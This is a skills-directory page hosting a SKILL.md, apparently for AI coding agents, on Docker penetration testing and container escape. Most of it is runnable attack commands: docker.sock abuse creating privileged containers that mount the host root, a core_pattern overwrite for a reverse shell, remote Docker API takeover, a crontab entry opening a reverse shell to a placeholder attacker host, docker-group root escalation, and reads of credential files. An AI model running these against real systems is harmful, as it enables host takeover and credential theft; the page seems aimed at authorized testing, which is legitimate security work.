Back to skills
SKILL.md
Docker Pentesting
BSecurityDocker: socket exposure, registry access, breakout via mounts
- 2 stars
- 0 votes
- 0 copies
- 0 views
- Added November 29, 2026
Works with
Security analysis
75/100- Accesses sensitive system or user directories
- Downloads and executes remote scripts — classic supply chain attack
Pro scans all 3 files and shows the line behind each finding
npx -y skills add blackfoxxx/kestrel --skill docker-pentesting --agent claude-codeAre you the author of Docker Pentesting?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/blackfoxxx-docker-pentesting)---
name: docker-pentesting
description: "Docker: socket exposure, registry access, breakout via mounts"
metadata:
tags: "docker,container,registry,image,container escape,escape,image-layer,docker.sock,docker api,cgroup,runc,namespace,procfs,core_pattern,capabilities,dirtycow,dirtypipe"
category: "cloud"
mitre_attack: "T1611,T1610,T1613"
mcps: pentest mcp, autopen, context1337
---
# Docker Security Testing and Container Penetration
Docker's attack surface goes beyond just escape: container configuration, Docker Daemon, Registry, image layers, build context, and the shared host kernel all create different exploitation paths. First determine whether you are inside a container, on the host as a user-space process, or approaching from a remote Registry/API perspective — then choose the appropriate path: escape, credential extraction, or supply-chain lateral movement.
## Deep Reference
- Full payloads and exploitation conditions for container escape methods → [references/escape-methods.md](references/escape-methods.md)
- Docker Registry, image layers, and build artifact secret analysis → [references/registry-and-image-analysis.md](references/registry-and-image-analysis.md)
- Docker Build Context abuse (path traversal and secret leakage in CI/CD scenarios) → [references/escape-methods.md](references/escape-methods.md) Section 12
---
## Phase 1: Attack Surface Identification
```bash
# Confirm you are in a container
cat /proc/1/cgroup 2>/dev/null | grep -qi docker && echo "IN DOCKER"
ls /.dockerenv 2>/dev/null && echo "IN DOCKER"
cat /proc/1/sched | head -1 # PID 1 is not systemd/init → container
# Basic info
hostname
cat /etc/os-release
uname -r # kernel version (shared with host)
```
## Phase 2: Escape Condition Checklist
Check in order of success rate:
```bash
# 1. Privileged container? (easiest escape)
cat /proc/1/status | grep CapEff
# 0000003fffffffff = privileged container (all capabilities)
# 2. Docker socket mounted?
ls -la /var/run/docker.sock 2>/dev/null
# 3. procfs mounted? (core_pattern escape)
# Check if one is under /proc and another under a different mount path
find / -name core_pattern 2>/dev/null
# 4. Docker Remote API exposed?
# Guess host IP: prefer hostname -I same-subnet .1, fall back to ip route default gateway
GW=$(hostname -I 2>/dev/null | awk '{print $1}' | awk -F. '{print $1"."$2"."$3".1"}')
[ -z "$GW" ] && GW=$(ip route 2>/dev/null | awk '/default/{print $3}')
timeout 3 bash -c "echo >/dev/tcp/$GW/2375" 2>/dev/null && echo "DOCKER API EXPOSED on $GW:2375"
# 5. Host directory mounted?
mount | grep -v 'overlay\|proc\|sys\|cgroup\|tmpfs\|devpts\|mqueue'
cat /proc/mounts | grep -E '^/dev/'
# 6. Docker group privilege escalation? (host scenario)
groups | grep docker || id | grep docker
cat /etc/group | grep docker
# 7. Dangerous capabilities?
cat /proc/1/status | grep Cap
# python3 decode: python3 -c "import struct;print(bin(struct.unpack('Q',bytes.fromhex('CAPEFF_HEX'))[0]))"
# Watch for: CAP_SYS_ADMIN, CAP_SYS_PTRACE, CAP_DAC_OVERRIDE, CAP_NET_ADMIN
# 8. PID namespace shared?
ls /proc/*/exe 2>/dev/null | head -20
# If you see many non-container processes → hostPID=true
# 9. Network shared?
ip addr
# If you see host NIC (eth0 with host IP) → hostNetwork=true
# 10. Kernel version (determine exploitable CVEs)
uname -r
# Version reference:
# 2.6.22 - fixed 2016.10 → DirtyCow (CVE-2016-5195, almost all pre-2016 kernels)
# 4.6 - 5.9 → CVE-2020-14386
# >= 5.8 stable branches → DirtyPipe (CVE-2022-0847)
# Fixed: 5.16.11, 5.15.25, 5.10.102, 5.4.181
# 5.8.0 - 5.16 → CVE-2022-23222 (BPF)
# 2.6.19 - 5.12 → CVE-2021-22555 (Netfilter)
# Ubuntu 14.04-20.10 → OverlayFS (CVE-2021-3493)
# 11. Environment variable leakage?
env | sort
cat /proc/self/environ | tr '\0' '\n'
# 12. docker-compose config leakage?
find / -name "docker-compose*" 2>/dev/null
# 13. Registry / image credentials?
cat ~/.docker/config.json 2>/dev/null
find / -path '*/.docker/config.json' 2>/dev/null
```
## Phase 3: Docker Attack Decision Tree
```
Check results?
├─ Privileged container → mount host disk / cgroup release_agent / nsenter (needs hostPID)
├─ Docker socket → create privileged container to escape (docker CLI or curl, see references)
├─ procfs mounted → core_pattern pipe reverse shell
├─ Docker Remote API exposed → remotely create privileged container
├─ Host directory mounted
│ ├─ /etc → write crontab/SSH key
│ └─ Other dirs → read/write host files
├─ Docker group (host user in docker group) → docker run -v /:/host
├─ CAP_SYS_ADMIN → cgroup escape / mount
├─ CAP_SYS_PTRACE + hostPID → inject into host process
├─ CAP_DAC_READ_SEARCH → shocker / combine with DirtyPipe
├─ hostNetwork → access host services / Metadata API
├─ Runtime CVE (outdated runc/containerd) → CVE-2019-5736, CVE-2019-16884, CVE-2020-15257
├─ Registry exposed or image credentials found → enumerate repos/tags/blobs, analyze image layer secrets
├─ Information gathering (no direct escape but finds critical data)
│ ├─ Env vars → may contain DB passwords, API keys, cloud credentials
│ ├─ Docker Registry / image layers → may contain historical secrets, kubeconfig, source code and artifact tokens
│ └─ docker-compose.yml → may contain passwords, mount points, network config
└─ None of the above → kernel CVEs (match by version)
├─ >= 5.8 unpatched → DirtyPipe (CVE-2022-0847)
├─ 2.6.22+ pre-2016 → DirtyCow (CVE-2016-5195)
├─ 5.8-5.16 → BPF bypass (CVE-2022-23222)
├─ 2.6.19-5.12 → Netfilter (CVE-2021-22555)
└─ Ubuntu 14-20 → OverlayFS (CVE-2021-3493)
Detailed commands → [references/escape-methods.md](references/escape-methods.md)
```
## Phase 4: Quick Escape Commands
### Privileged Container (99% success rate)
```bash
mkdir -p /tmp/host && mount /dev/sda1 /tmp/host
cat /tmp/host/root/flag.txt
# or chroot /tmp/host bash
```
### Docker Socket (95% success rate)
```bash
# When no docker CLI available, use curl (full flow: list images → create → start → read logs)
SOCK=/var/run/docker.sock
IMAGE=$(curl -s --unix-socket $SOCK http://localhost/images/json | python3 -c "import json,sys;imgs=json.load(sys.stdin);print(imgs[0]['RepoTags'][0] if imgs else 'alpine')")
CID=$(curl -s --unix-socket $SOCK -X POST -H "Content-Type: application/json" \
http://localhost/containers/create \
-d "{\"Image\":\"$IMAGE\",\"Cmd\":[\"cat\",\"/mnt/root/flag.txt\"],\"HostConfig\":{\"Binds\":[\"/:/mnt\"],\"Privileged\":true}}" \
| python3 -c "import json,sys;print(json.load(sys.stdin)['Id'])")
curl -s --unix-socket $SOCK -X POST http://localhost/containers/$CID/start
sleep 2
curl -s --unix-socket $SOCK "http://localhost/containers/$CID/logs?stdout=true&stderr=true"
```
### procfs Mount (core_pattern)
```bash
# Prerequisite: host procfs already mounted into container
# Find container's absolute path on host (take parent of upperdir, append /merged)
upperdir=$(sed -n 's/.*\bupperdir=\([^,]*\).*/\1/p' /proc/mounts)
host_path=$(dirname "$upperdir")/merged
# Write reverse shell + overwrite core_pattern + trigger crash
echo -e "|${host_path}/tmp/.t.py \rcore " > /host/proc/sys/kernel/core_pattern
```
### Docker Remote API
```bash
# Get host IP (prefer hostname -I subnet guess, fall back to ip route gateway)
GW=$(hostname -I 2>/dev/null | awk '{print $1}' | awk -F. '{print $1"."$2"."$3".1"}')
[ -z "$GW" ] && GW=$(ip route 2>/dev/null | awk '/default/{print $3}')
docker -H tcp://$GW:2375 run -v /:/mnt -it alpine chroot /mnt bash
```
### Write Crontab Escape
```bash
# If /etc or /var/spool/cron is mounted
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'" > /host_etc/cron.d/pwn
```
### Docker Group Privilege Escalation (Host Scenario)
```bash
# Current user just needs to be in the docker group
docker run -v /:/host -it alpine chroot /host sh
```
## Tools
| Tool | Purpose |
|------|---------|
| CDK | Container escape automation detection + exploitation |
| deepce | Docker enumeration script |
| amicontained | Container environment detection |
Files in this skill
- SKILL.md
- references/escape-methods.md
- references/registry-and-image-analysis.md
Attribution
Related skills
View all in security →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.